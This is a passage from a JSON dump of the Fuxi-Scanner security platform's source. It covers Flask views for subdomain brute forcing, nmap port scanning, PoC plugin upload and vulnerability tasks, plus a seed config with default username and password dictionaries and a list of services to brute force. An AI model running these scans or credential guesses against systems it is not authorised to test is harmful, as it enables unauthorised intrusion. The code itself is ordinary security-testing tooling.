self.domain)\n        if self.third_domain == \"Enable\":\n            for sub_domain_3 in self.subdomain_dict_3:\n                for sub_domain_2 in self.subdomain_dict_2:\n                    sub_domain = sub_domain_3 + \".\" + sub_domain_2\n                    self.sub_domain.append(sub_domain.strip() + '.' + self.domain)\n        return self.sub_domain\n\n    def resolver_check(self):\n        try:\n            var = resolution(self.random_subdomain)\n            if var[self.random_subdomain]:\n                return var[self.random_subdomain]\n            else:\n                return False\n        except Exception as e:\n            # print(e)\n            return False\n\n    def multi_brute(self):\n        start_date = datetime.now()\n        self.resolver_ip = self.resolver_check()\n        pool = Pool(processes=self.thread)\n        result = []\n        for sub_domain in self.domain_handle():\n            result.append(pool.apply_async(resolution, (sub_domain,)))\n        pool.close()\n        pool.join()\n        for res in result:\n            self.result = res.get()\n            for subdomain in self.result:\n                if self.result[subdomain] != self.resolver_ip:\n                    data = {\n                        \"subdomain\": subdomain,\n                        \"domain\": self.domain,\n                        \"domain_id\": self.domain_id,\n                        \"date\": datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\"),\n                        \"result\": self.result[subdomain],\n                        \"title\": '',\n                    }\n                    lock.acquire()\n                    try:\n                        connectiondb(subdomain_db).insert_one(data)\n                        # print(self.result, var)\n                    except Exception as e:\n                        print(\"save_db error\", e)\n                    lock.release()\n        scan_time = datetime.now() - start_date\n        print(\"++++++++++ Scan Done! ++++++++++\", scan_time.total_seconds())\n\n\ndef start_domain_brute(domain, domain_id):\n    connectiondb(domain_db).update_one({\"_id\": domain_id}, {\"$set\": {\n        \"status\": \"Running\"\n    }})\n    for i in domain:\n        start_brute = DomainBrute(i, domain_id)\n        start_brute.multi_brute()\n    connectiondb(domain_db).update_one({\"_id\": domain_id}, {\"$set\": {\n        \"status\": \"Done\"\n    }})\n    get_domain_title(domain_id)\n\n\ndef get_domain_title(domain_id):\n    pool = Pool(processes=50)\n    result = []\n    for i in connectiondb(subdomain_db).find({\"domain_id\": domain_id}):\n        result.append(pool.apply_async(get_title, (i['subdomain'], i['_id'])))\n    pool.close()\n    pool.join()\n    for res in result:\n        lock.acquire()\n        try:\n            connectiondb(subdomain_db).update_one({\"_id\": res.get()[\"_id\"]}, {\"$set\": {\n                \"title\": res.get()['title']\n            }})\n        except Exception as e:\n            print(\"update title error\", e)\n        lock.release()\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/views/plugin_management.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Author  : jeffzhang\n# @Time    : 18-5-14\n# @File    : plugin_management.py\n# @Desc    : \"\"\n\nimport time\nimport os\nfrom flask import Flask, Blueprint, render_template, request, jsonify\nfrom werkzeug.utils import secure_filename\nfrom bson import ObjectId\nfrom lib.mongo_db import connectiondb, db_name_conf\nfrom fuxi.views.authenticate import login_check\nfrom fuxi.views.modules.scanner.parse_plugin import parse_plugin\nfrom instance import config\n\n\nProductionConfig = config.ProductionConfig\napp = Flask(__name__)\napp.config.from_object(ProductionConfig)\n\nplugin_management = Blueprint('plugin_management', __name__)\ntasks_db = db_name_conf()['tasks_db']\nasset_db = db_name_conf()['asset_db']\nserver_db = db_name_conf()['server_db']\nsubdomain_db = db_name_conf()['subdomain_db']\nvul_db = db_name_conf()['vul_db']\nplugin_db = db_name_conf()['plugin_db']\n\n\n# new plugin\n@plugin_management.route('/new-asset', methods=['GET', 'POST'])\n@login_check\ndef new_plugin():\n    pass\n\n\n@plugin_management.route('/plugin-management', methods=['GET', 'POST'])\n@login_check\ndef plugin_view():\n    # delete plugin\n    if request.method == \"GET\":\n        if request.args.get(\"delete\"):\n            plugin_id = request.args.get('delete')\n            plugin_filename = connectiondb(plugin_db).find_one({\"_id\": ObjectId(plugin_id)})['plugin_filename']\n            if connectiondb(plugin_db).delete_one({'_id': ObjectId(plugin_id)}):\n                try:\n                    os.remove(plugin_filename)\n                except Exception as e:\n                    raise e\n                return \"success\"\n            else:\n                return \"Warning\"\n        # get plugin info\n        elif request.args.get(\"info\"):\n            plugin_id = request.args.get('info')\n            plugin_info_data = connectiondb(plugin_db).find_one({'_id': ObjectId(plugin_id)})\n            del plugin_info_data['_id']\n            if plugin_info_data:\n                return jsonify(plugin_info_data)\n            else:\n                return jsonify({\"result\": \"Warning\"})\n        else:\n            # default view\n            plugin_info = connectiondb(plugin_db).find()\n            return render_template(\"plugin-management.html\", plugin_info=plugin_info)\n\n\n@plugin_management.route('/plugin-upload', methods=['GET', 'POST'])\n@login_check\ndef plugin_upload():\n    file_path = app.config.get('POCSUITE_PATH')\n    file_data = request.files['file']\n    if file_data:\n        file_name = \"_\" + time.strftime(\"%y%m%d\", time.localtime()) + \"_\" + secure_filename(file_data.filename)\n        save_path = file_path + file_name\n        file_data.save(save_path)\n        try:\n            new_plugin_info = parse_plugin(save_path)\n            if new_plugin_info:\n                db_insert = connectiondb(plugin_db).insert_one(new_plugin_info).inserted_id\n                if db_insert:\n                    return jsonify({\"result\": \"success\"})\n            else:\n                return jsonify({\"result\": \"Warning\"})\n        except Exception as e:\n            print(e)\n            return \"Warning\"\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/views/port_scanner.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Author  : jeffzhang\n# @Time    : 18-5-17\n# @File    : port_scanner.py\n# @Desc    : \"\"\n\nimport threading\nimport time\nfrom flask import Blueprint, render_template, request, redirect, url_for, jsonify\nfrom bson import ObjectId\nfrom lib.mongo_db import connectiondb, db_name_conf\nfrom fuxi.views.authenticate import login_check\nfrom fuxi.views.modules.port_scanner.nmap_scanner import nmap_scanner\nfrom instance import config_name\n\nport_scanner = Blueprint('port_scanner', __name__)\nconfig_db = db_name_conf()['config_db']\nport_db = db_name_conf()['port_db']\n\n\n# port_scanner\n@port_scanner.route('/port-scanner', methods=['GET', 'POST'])\n@login_check\ndef port_view():\n    if request.method == \"GET\":\n        if request.args.get(\"scan_id\"):\n            # default port scan result\n            target_id = request.args.get(\"scan_id\")\n            db_course = connectiondb(port_db).find_one({\"_id\": ObjectId(target_id)})\n            host = db_course['host']\n            port = db_course['port']\n            if db_course['status'] == \"Done\":\n                result = '\\n'.join('%s' % c for c in db_course['detail']).replace(';', \" \")\n            else:\n                result = \"Scanning, Please wait...\"\n            return render_template('port-scanner.html', host=host, result=result, port=port)\n        elif request.args.get(\"result\"):\n            # table view port scan result\n            scan_id = request.args.get(\"result\")\n            db_course = connectiondb(port_db).find_one({\"_id\": ObjectId(scan_id)})\n            result = '\\n'.join('%s' % c for c in db_course['detail'])\n            return result\n        elif request.args.get('delete'):\n            # scan task delete\n            scan_id = request.args.get(\"delete\")\n            connectiondb(port_db).delete_one({\"_id\": ObjectId(scan_id)})\n            return redirect(url_for('port_scanner.port_view'))\n        # default scan view\n        port_list = connectiondb(config_db).find_one({\"config_name\": config_name})['port_list']\n        ports = ','.join('%s' % port for port in port_list)\n        return render_template('port-scanner.html', port_list=ports)\n    else:\n        # add scan\n        if request.form.get('source') == \"new_scan\":\n            target_val = request.form.get('target_val')\n            arguments_val = int(request.form.get('arguments_val'))\n            port_val = request.form.get('port_val')\n            if len(port_val) > 0:\n                if arguments_val == 0:\n                    arguments = \"-sT -T4 -p \" + port_val\n                elif arguments_val == 1:\n                    arguments = \"-sT -T4 --open -p \" + port_val\n                elif arguments_val == 2:\n                    arguments = \"-sS -T4 -Pn -p \" + port_val\n                elif arguments_val == 3:\n                    arguments = \"-sT -sV -O -A -p \" + port_val\n                else:\n                    arguments = \"\"\n            # use default port\n            else:\n                if arguments_val == 0:\n                    arguments = \"-sT -T4\"\n                elif arguments_val == 1:\n                    arguments = \"-sT -T4 --open\"\n                elif arguments_val == 2:\n                    arguments = \"-sS -T4 -Pn \"\n                elif arguments_val == 3:\n                    arguments = \"-sT -sV -O -A\"\n                else:\n                    arguments = \"\"\n            db_data = {\n                \"host\": target_val,\n                \"status\": \"Preparation\",\n                'port': port_val,\n                \"arguments\": arguments,\n                'detail': \"\",\n                'date': time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime())\n            }\n            scan_id = connectiondb(port_db).insert_one(db_data).inserted_id\n            t1 = threading.Thread(target=nmap_scanner, args=(target_val, arguments, scan_id))\n            t1.start()\n            return jsonify({\n                \"result\": \"success\",\n                \"scan_id\": str(scan_id),\n            })\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/views/settings.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Author  : jeffzhang\n# @Time    : 18-5-15\n# @File    : settings.py\n# @Desc    : \"\"\n\nfrom flask import Blueprint, render_template, request\nfrom lib.mongo_db import connectiondb, db_name_conf\nfrom fuxi.views.authenticate import login_check\nfrom instance import config_name\n\nsettings = Blueprint('settings', __name__)\nconfig_db = db_name_conf()['config_db']\n\n\n# system-config\n@settings.route('/system-config', methods=['GET', 'POST'])\n@login_check\ndef config_view():\n    return render_template(\"system-config.html\")\n\n\n@settings.route('/advanced-option', methods=['GET', 'POST'])\n@login_check\ndef option_view():\n    if request.method == \"GET\":\n        config_data = connectiondb(config_db).find_one({\"config_name\": config_name})\n        config_info = {\n            \"poc_thread\": config_data['poc_thread'],\n            \"discovery_thread\": config_data['discovery_thread'],\n            \"subdomain_thread\": config_data['subdomain_thread'],\n            \"port_thread\": config_data['port_thread'],\n            \"auth_tester_thread\": config_data['auth_tester_thread'],\n            \"subdomain_dict_2\": '\\n'.join(config_data['subdomain_dict_2']),\n            \"subdomain_dict_3\": '\\n'.join(config_data['subdomain_dict_3']),\n            \"username_dict\": '\\n'.join(config_data['username_dict']),\n            \"password_dict\": '\\n'.join(config_data['password_dict']),\n            \"discovery_time\": config_data['discovery_time'],\n            \"port_list\": ','.join('%s' % port for port in config_data['port_list']),\n        }\n        return render_template(\"advanced-option.html\", config_info=config_info)\n    else:\n        # update thread config\n        if request.form.get(\"source\") == \"thread_settings\":\n            update_config = {\n                \"poc_thread\": int(request.form.get('poc_thread')),\n                \"discovery_thread\": int(request.form.get('discovery_thread')),\n                \"subdomain_thread\": int(request.form.get('subdomain_thread')),\n                \"port_thread\": int(request.form.get('port_thread')),\n                \"auth_tester_thread\": int(request.form.get('auth_tester_thread')),\n                \"discovery_time\": request.form.get('discovery_time')\n            }\n            if connectiondb(config_db).update_one({'config_name': config_name}, {\"$set\": update_config}):\n                return \"success\"\n            else:\n                return \"Warning\"\n        # update subdomain_dict config\n        elif request.form.get(\"source\") == \"subdomain_dict\":\n            update_config = {\n                \"subdomain_dict_2\": request.form.get('subdomain_dict_2').split('\\n'),\n                \"subdomain_dict_3\": request.form.get('subdomain_dict_3').split('\\n'),\n            }\n            if connectiondb(config_db).update_one({'config_name': config_name}, {\"$set\": update_config}):\n                return \"success\"\n            else:\n                return \"Warning\"\n        # update port_list config\n        elif request.form.get(\"source\") == \"port_list\":\n            update_config = {\n                \"port_list\": request.form.get('port_list').split(','),\n            }\n            if connectiondb(config_db).update_one({'config_name': config_name}, {\"$set\": update_config}):\n                return \"success\"\n            else:\n                return \"Warning\"\n\n        elif request.form.get(\"source\") == \"auth\":\n            update_config = {\n                \"username_dict\": request.form.get('username_list').split('\\n'),\n                \"password_dict\": request.form.get('password_list').split('\\n'),\n            }\n\n            if connectiondb(config_db).update_one({'config_name': config_name}, {\"$set\": update_config}):\n                return \"success\"\n            else:\n                return \"Warning\"\n\n        elif request.form.get(\"source\") == \"port_scan\":\n            update_config = {\n                \"port_list\": request.form.get('port_list').split(','),\n            }\n            if connectiondb(config_db).update_one({'config_name': config_name}, {\"$set\": update_config}):\n                return \"success\"\n            else:\n                return \"Warning\"\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/views/subdomain_brute.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Author  : jeffzhang\n# @Time    : 18-5-18\n# @File    : subdomain_brute.py\n# @Desc    : \"\"\n\nimport time\nimport os\nfrom threading import Thread\nfrom flask import Blueprint, render_template, request, redirect, url_for, jsonify, make_response, send_from_directory\nfrom bson import ObjectId\nfrom lib.mongo_db import connectiondb, db_name_conf\nfrom fuxi.views.authenticate import login_check\nfrom fuxi.views.modules.subdomain import domain_brute\n\nsubdomain_brute = Blueprint('subdomain_brute', __name__)\ndomain_db = db_name_conf()['domain_db']\nplugin_db = db_name_conf()['plugin_db']\nsubdomain_db = db_name_conf()['subdomain_db']\n\n\n@subdomain_brute.route('/subdomain-brute', methods=['POST', 'GET'])\n@login_check\ndef subdomain_view():\n    if request.method == 'GET':\n        # task delete\n        if request.args.get('delete'):\n            domain_id = request.args.get('delete')\n            connectiondb(domain_db).delete_one({'_id': ObjectId(domain_id)})\n            connectiondb(subdomain_db).remove({'domain_id': ObjectId(domain_id)})\n            return redirect(url_for('subdomain_brute.subdomain_view'))\n\n        # result download\n        elif request.args.get('download'):\n            domain_id = request.args.get('download')\n            try:\n                file_name = connectiondb(domain_db).find_one({'_id': ObjectId(domain_id)})['domain'][0]\n                file_path = os.getcwd() + '/fuxi/static/download/'\n                if os.path.exists(file_path + file_name):\n                    os.remove(file_path + file_name)\n                try:\n                    for result in connectiondb(subdomain_db).find({'domain_id': ObjectId(domain_id)}):\n                        with open(file_path + file_name, \"a\") as download_file:\n                            download_file.write(result['subdomain'] + \"\\n\")\n                    sub_response = make_response(send_from_directory(file_path, file_name, as_attachment=True))\n                    sub_response.headers[\"Content-Disposition\"] = \"attachment; filename=\" + file_name\n                    return sub_response\n                except Exception as e:\n                    return e\n            except Exception as e:\n                print(e)\n        else:\n            domain_data = connectiondb(domain_db).find().sort('date', -1)\n            plugin_data = connectiondb(plugin_db).find()\n            return render_template('subdomain-brute.html', domain_data=domain_data, plugin_data=plugin_data)\n\n    # new domain\n    elif request.method == 'POST':\n        domain_name_val = request.form.get('domain_name_val')\n        domain_val = request.form.get('domain_val').split('\\n'),\n        third_domain = request.form.get('third_domain')\n        domain_list = list(domain_val)[0]\n        if third_domain == \"true\":\n            scan_option = 'Enable'\n        else:\n            scan_option = 'Disallow'\n        domain_data = {\n            'domain_name': domain_name_val,\n            'domain': domain_list,\n            \"date\": time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime()),\n            'third_domain': scan_option,\n            'status': \"Preparation\",\n        }\n        domain_id = connectiondb(domain_db).insert_one(domain_data).inserted_id\n        if domain_id:\n            # async domain brute\n            t1 = Thread(target=domain_brute.start_domain_brute, args=(domain_list, domain_id))\n            t1.start()\n            return \"success\"\n\n\n@subdomain_brute.route('/subdomain-list', methods=['POST', 'GET'])\n@login_check\ndef subdomain_list():\n    # Filter out the domain task\n    if request.method == \"GET\":\n        if request.args.get('domain'):\n            domain_id = request.args.get('domain')\n            sub_result = connectiondb(subdomain_db).find({'domain_id': ObjectId(domain_id)})\n            return render_template('subdomain-list.html', sub_result=sub_result)\n\n        # return subdomain for poc scan\n        elif request.args.get('subdomain'):\n            subdomain = []\n            domain_id = request.args.get('subdomain')\n            for i in connectiondb(subdomain_db).find({'domain_id': ObjectId(domain_id)}):\n                subdomain.append(i['subdomain'])\n            return '\\n'.join(subdomain)\n\n        # delete subdomain\n        elif request.args.get('delete'):\n            subdomain_id = request.args.get('delete')\n            domain_id = connectiondb(subdomain_db).find_one({'_id': ObjectId(subdomain_id)})['domain_id']\n            result = connectiondb(subdomain_db).delete_one({'_id': ObjectId(subdomain_id)})\n            if result:\n                return redirect(url_for('subdomain_brute.subdomain_list', domain=domain_id))\n\n        # default view\n        else:\n            sub_result = connectiondb(subdomain_db).find()\n            return render_template('subdomain-list.html', sub_result=sub_result)\n\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/views/vul_scanner.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Author  : jeffzhang\n# @Time    : 18-5-10\n# @File    : vul_scanner.py\n# @Desc    : \"\"\n\nimport time\nfrom flask import Blueprint, render_template, request, redirect, url_for, jsonify\nfrom bson import ObjectId\nfrom threading import Thread\nfrom lib.mongo_db import connectiondb, db_name_conf\nfrom fuxi.views.modules.scanner.poc_scanner import PocsuiteScanner\nfrom fuxi.views.authenticate import login_check\n\n\nvul_scanner = Blueprint('vul_scanner', __name__)\ntasks_db = db_name_conf()['tasks_db']\nasset_db = db_name_conf()['asset_db']\nserver_db = db_name_conf()['server_db']\nsubdomain_db = db_name_conf()['subdomain_db']\nvul_db = db_name_conf()['vul_db']\nplugin_db = db_name_conf()['plugin_db']\n\n\n# tasks view\n@vul_scanner.route('/task-management')\n@login_check\ndef tasks_view():\n    # delete task\n    if request.args.get('delete'):\n        task_id = request.args.get('delete')\n        connectiondb(tasks_db).delete_one({'_id': ObjectId(task_id)})\n        connectiondb(vul_db).update({'task_id': ObjectId(task_id)}, {\"$set\": {\"tag\": \"delete\"}}, multi=True)\n        return \"success\"\n    # rescan\n    elif request.args.get('rescan'):\n        task_id = request.args.get('rescan')\n        connectiondb(tasks_db).update_one({'_id': ObjectId(task_id)}, {'$set': {'task_status': 'Preparation'}})\n        if connectiondb(vul_db).find_one({\"task_id\": ObjectId(task_id)}):\n            connectiondb(vul_db).update({'task_id': ObjectId(task_id)}, {\"$set\": {\"tag\": \"delete\"}}, multi=True)\n        try:\n            scanner = PocsuiteScanner(ObjectId(task_id))\n            t1 = Thread(target=scanner.set_scanner, args=())\n            t1.start()\n            return \"success\"\n        except Exception as e:\n            raise e\n\n    # get task info for edit (get)\n    elif request.args.get('edit'):\n        task_id = request.args.get('edit')\n        task_edit_data = connectiondb(tasks_db).find_one({'_id': ObjectId(task_id)})\n        task_edit_data_json = {\n            'task_name': task_edit_data['task_name'],\n            'scan_target': '\\n'.join(task_edit_data['scan_target']),\n        }\n        return jsonify(task_edit_data_json)\n\n    # default task view\n    task_data = connectiondb(tasks_db).find().sort('end_date', -1)\n    return render_template('task-management.html', task_data=task_data)\n\n\n# task edit\n@vul_scanner.route('/task-edit', methods=['POST'])\n@login_check\ndef tasks_edit():\n    # task update\n    task_name = request.form.get('taskname_val')\n    task_plan = request.form.get('recursion_val')\n    target_text = request.form.get('target_val').split('\\n', -1)\n    task_id = request.form.get('task_id')\n    update_task_data = connectiondb(tasks_db).update_one(\n        {'_id': ObjectId(task_id)},\n        {'$set': {\n            'task_name': task_name,\n            'task_recursion': task_plan,\n            'scan_target': target_text,\n        }\n        }\n    )\n    if update_task_data:\n        scanner = PocsuiteScanner(ObjectId(task_id))\n        t1 = Thread(target=scanner.set_scanner, args=())\n        t1.start()\n        return 'success'\n\n\n# new scan view\n@vul_scanner.route('/new-scan', methods=['GET'])\n@login_check\ndef scan_view():\n    # default create scan view\n    plugin_info = connectiondb(plugin_db).find()\n    return render_template('new-scan.html', plugin_info=plugin_info)\n\n\n# create task\n@vul_scanner.route('/add-task', methods=['POST'])\n@login_check\ndef add_task():\n    # create task from new scan view (post)\n    if request.form.get('source') == 'scan_view':\n        task_data = {\n            \"task_name\": time.strftime(\"%y%m%d\", time.localtime()) + \"_\" + request.form.get('taskname_val'),\n            \"task_recursion\": request.form.get('recursion_val'),\n            \"scan_target\": request.form.get('target_val').replace('\\r', '').split('\\n', -1),\n            \"plugin_id\": request.form.get('plugin_val').split(',', -1),\n            \"start_date\": time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime()),\n            \"end_date\": \"-\",\n            \"task_status\": \"Preparation\"\n        }\n        if task_data:\n            task_id = connectiondb(tasks_db).insert_one(task_data).inserted_id\n            if task_id:\n                scanner = PocsuiteScanner(task_id)\n                t1 = Thread(target=scanner.set_scanner, args=())\n                t1.start()\n                return \"success\"\n        else:\n            return 'error'\n\n    # create task from asset (post)\n    elif request.form.get('source') == 'asset':\n        task_data = {\n            \"task_name\": time.strftime(\"%y%m%d\", time.localtime()) + \"_\" + request.form.get('taskname_val'),\n            \"task_recursion\": request.form.get('recursion_val'),\n            \"scan_target\": request.form.get('target_val').replace('\\r', '').split('\\n', -1),\n            \"plugin_id\": request.form.get('plugin_val').split(',', -1),\n            \"start_date\": time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime()),\n            \"end_date\": \"-\",\n            \"task_status\": \"Preparation\"\n        }\n        if task_data:\n            task_id = connectiondb(tasks_db).insert_one(task_data).inserted_id\n            if task_id:\n                scanner = PocsuiteScanner(task_id)\n                t1 = Thread(target=scanner.set_scanner, args=())\n                t1.start()\n                return 'success'\n        else:\n            return 'error'\n    # create task from sub domain (post)\n    elif request.form.get('source') == 'subdomain':\n        task_data = {\n            \"task_name\": time.strftime(\"%y%m%d\", time.localtime()) + \"_\" + request.form.get('taskname_val'),\n            \"task_recursion\": request.form.get('recursion_val'),\n            \"scan_target\": request.form.get('target_val').replace('\\r', '').split('\\n', -1),\n            \"plugin_id\": request.form.get('plugin_val').split(',', -1),\n            \"start_date\": time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime()),\n            \"end_date\": \"-\",\n            \"task_status\": \"Preparation\"\n        }\n        if task_data:\n            task_id = connectiondb(tasks_db).insert_one(task_data).inserted_id\n            if task_id:\n                scanner = PocsuiteScanner(task_id)\n                t1 = Thread(target=scanner.set_scanner, args=())\n                t1.start()\n                return 'success'\n        else:\n            return 'error'\n\n\n@vul_scanner.route('/vulnerability', methods=['POST', 'GET'])\n@login_check\ndef vulnerability_view():\n    if request.method == \"GET\":\n        # vulnerability delete\n        if request.args.get('delete'):\n            vul_id = request.args.get('delete')\n            # task_id = connectiondb(vul_db).find_one({'_id': ObjectId(vul_id)})['task_id']\n            # connectiondb(vul_db).delete_one({'_id': ObjectId(vul_id)})\n            connectiondb(vul_db).update({'_id': ObjectId(vul_id)}, {\"$set\": {\"tag\": \"delete\"}}, multi=True)\n            return redirect(url_for('vul_scanner.vulnerability_view'))\n\n        # vulnerability rescan (Not completed)\n        elif request.args.get('rescan'):\n            vul_id = request.args.get('rescan')\n            print(vul_id)\n            # Not completed\n\n        # vulnerability details\n        elif request.args.get('result'):\n            vul_id = request.args.get('result')\n            vul_info = connectiondb(vul_db).find_one({'_id': ObjectId(vul_id)})\n            del vul_info['_id']\n            del vul_info['task_id']\n            del vul_info['plugin_id']\n            if vul_info:\n                return jsonify(vul_info)\n            else:\n                return jsonify({\"result\": \"Get details error\"})\n\n        # from task view  screening vulnerabilities by task_id\n        elif request.args.get('task'):\n            task_id = request.args.get('task')\n            vul_data = connectiondb(vul_db).find({'task_id': ObjectId(task_id), \"tag\": {\"$ne\": \"delete\"}}).sort(\n                'scan_date', -1)\n\n            return render_template('vulnerability.html', vul_data=vul_data)\n\n        # from plugin view  screening vulnerabilities by plugin_id\n        elif request.args.get('plugin'):\n            plugin_id = request.args.get('plugin')\n            vul_data = connectiondb(vul_db).find({'plugin_id': ObjectId(plugin_id),\n                                                  \"tag\": {\"$ne\": \"delete\"}}).sort('date', -1)\n            return render_template('vulnerability.html', vul_data=vul_data)\n\n        # default vulnerability view\n        vul_data = connectiondb(vul_db).find({\"tag\": {\"$ne\": \"delete\"}}).sort('date', -1)\n        return render_template('vulnerability.html', vul_data=vul_data)\n\n    elif request.method == \"POST\":\n        # delete multiple choices\n        # Not completed\n        return jsonify({'result': 'success'})\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi_scanner.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Author  : jeffzhang\n# @Time    : 18-5-9\n# @File    : fuxi.py\n# @Desc    : \"\"\n\nimport threading\nfrom flask import Flask\nfrom fuxi.app import app\nfrom gevent.pywsgi import WSGIServer\nfrom fuxi.views.modules.scanner.poc_scanner import PoCScannerLoop\nfrom fuxi.views.modules.auth_tester.auth_scanner import AuthTesterLoop\nfrom fuxi.views.modules.discovery.asset_discovery import DiscoveryLoop\nfrom instance import config\n\nProductionConfig = config.ProductionConfig\nflask_app = Flask(__name__)\nflask_app.config.from_object(ProductionConfig)\nhost = flask_app.config.get('WEB_HOST')\nport = flask_app.config.get('WEB_PORT')\nthread_pool = []\n\n\ndef web_server():\n    http_server = WSGIServer((host, port), app)\n    http_server.serve_forever()\n\n\ndef scanner_loop():\n    PoCScannerLoop().task_schedule()\n\n\ndef auth_tester_loop():\n    AuthTesterLoop().task_schedule()\n\n\ndef discovery_loop():\n    DiscoveryLoop().task_schedule()\n\n\nif __name__ == '__main__':\n    print(\"* Running on http://\" + host + \":\" + str(port))\n    thread_pool.append(threading.Thread(target=web_server, args=()))\n    thread_pool.append(threading.Thread(target=scanner_loop, args=()))\n    thread_pool.append(threading.Thread(target=auth_tester_loop, args=()))\n    thread_pool.append(threading.Thread(target=discovery_loop, args=()))\n    try:\n        for t in thread_pool:\n            t.start()\n        for t in thread_pool:\n            t.join()\n    except Exception as e:\n        print(e)\n\n\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/migration/DataModels",
    "content": "# PLUGIN_DB 插件集合\n------------------------------------\nplugin_version          影响版本\nplugin_type             漏洞名称\nplugin_date             漏洞日期\nplugin_filename         文件路径\nplugin_name             插件名\nplugin_app              应用名称\nplugin_author           插件作者\n_id                     ObjectId\n------------------------------------\n\n# TASKS_DB 任务集合\n------------------------------------\ntask_status             任务状态\nend_date                结束时间\nscan_target             扫描对象(列表)\ntask_name               任务名称\nplugin_id               插件id\n_id                     ObjectId\nstart_date              任务开始时间\ntask_recursion          扫描计划\n------------------------------------\n\n# VULNERABILITY_DB 漏洞集合\n------------------------------------\nscan_result             扫描结果\ntarget                  扫描对象\ntask_id                 任务ID\napp_name                应用名称\nscan_date               扫描日期\npoc_name                插件名称\nvul_version             漏洞影响版本\npoc_type                漏洞类型\ntask_name               任务名称\nplugin_id               插件ID\ntag                     标签\n_id                     ObjectId\n------------------------------------\n\n\n# CONFIG_DB 配置集合\n------------------------------------\nconfig_name             配置文件名称\nsubdomain_dict          子域名字典\npoc_thread              pocsuite 线程\npoc_frequency           循环周期\nsubdomain_thread        子域名线程\nport_list               默认端口扫描列表\nport_thread             端口扫描线程\ndiscovery_thread        资产发现功能线程\nusername_dict           用户\npassword_dict           密码\nauth_tester_thread      弱口令检测线程\n------------------------------------\n\n\n# DOMAIN_DB 服务集合\n------------------------------------\ndomain                  主域名\nthird_domain            三级域名扫描\nstatus                  扫描状态\ndomain_name             域名名称\ndate                    时间\n_id                     ObjectId\n------------------------------------\n\n\n# SUBDOMAIN_DB 服务集合\n------------------------------------\ndate                    扫描日期\ndomain                  主域名\ntitle                   子域名title\n_id                     ObjectId\nresult                  解析IP\nsubdomain               子域名\ndomain_id               主域名ID\n------------------------------------\n\n# WEEKPASSWD_DB 服务集合\n------------------------------------\ndate                    扫描日期\ntype                    协议类型\ntarget                  检测对象\ntask_name               所属任务\nusername                账号\npassword                密码\ntask_id                 所属任务ID\n_id                     ObjectId\n------------------------------------\n\n# AUTH_DB 服务集合\n------------------------------------\ndate                    任务日期\ntarget                  扫描对象\ntask_name               任务名称\nstatus                  当前状态\nusername                用户名\npassword                密码\nweek_count              弱口令数量\ntype                    协议类型\nrecursion               检测周期\n_id                     ObjectId\n------------------------------------\n\n\n# SERVER_DB 服务集合\n------------------------------------\ndate                    扫描日期\nhost                    主机\nasset_name              资产库\nasset_id                资产库ID\nport                    端口\nserver                  服务\nversion                 版本\n------------------------------------\n\n# SEARCH_DB 服务集合\n------------------------------------\nhost                    主机\nasset_name              资产库\nasset_id                资产库ID\nport                    端口\nproduct\nname                    服务名\nextrainfo               其他信息\ncpe                     banner信息\nversion                 版本\nscript                  脚本\n------------------------------------"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/migration/start.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Author  : jeffzhang\n# @Time    : 18-5-15\n# @File    : start.py\n# @Desc    : \"\"\n\nimport os\nimport sys\nparent_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\nsys.path.insert(0, parent_dir)\nfrom instance import config_name\nfrom fuxi.views.lib.mongo_db import connectiondb, db_name_conf\n\ntasks_db = db_name_conf()['tasks_db']\nasset_db = db_name_conf()['asset_db']\nserver_db = db_name_conf()['server_db']\nsubdomain_db = db_name_conf()['subdomain_db']\nvul_db = db_name_conf()['vul_db']\nplugin_db = db_name_conf()['plugin_db']\nconfig_db = db_name_conf()['config_db']\n\n\ndef config():\n    connectiondb(config_db).drop()\n    subdomain_dict = []\n    subdomain_dict_path = os.getcwd() + '/tests/domain.dict'\n    try:\n        with open(subdomain_dict_path) as file_read:\n            for i in file_read:\n                subdomain_dict.append(i.strip())\n    except Exception as e:\n        print(e)\n        subdomain_dict = ['www', 'mail', 'test']\n    config_data = {\n        'poc_thread': 50,\n        'discovery_thread': 52,\n        'subdomain_thread': 53,\n        'port_thread': 54,\n        'config_name': config_name,\n        'poc_frequency': 15,\n        'port_list': [20, 21, 22, 23, 80, 81, 443, 445, 544, 873, 1080, 1433, 1434, 1521, 2100, 3306, 3389, 4440, 5671,\n                      5672, 5900, 5984, 6379, 7001, 8080, 8081, 8089, 8888, 9090, 9200, 11211, 15672, 27017, 50070],\n        'subdomain_dict_2': subdomain_dict,\n        'subdomain_dict_3': ['www', 'mail', 'test'],\n        'username_dict': ['admin', 'root', 'administrators'],\n        'password_dict': ['123456', 'password', '12345678', 'admin', 'admin123'],\n        'auth_tester_thread': 100,\n        'discovery_time': \"11:00:00\",\n        'auth_service': ['asterisk', 'cisco', 'cisco-enable', 'cvs', 'firebird', 'ftp', 'ftps', 'http-proxy',\n                         'http-proxy-urlenum', 'icq', 'imap', 'irc', 'ldap2', 'mssql', 'mysql', 'nntp',\n                         'oracle-listener', 'oracle-sid', 'pcanywhere', 'pcnfs', 'pop3', 'postgres', 'rdp', 'redis',\n                         'rexec', 'rlogin', 'rsh', 's7-300', 'sip', 'smb', 'smtp', 'smtp-enum', 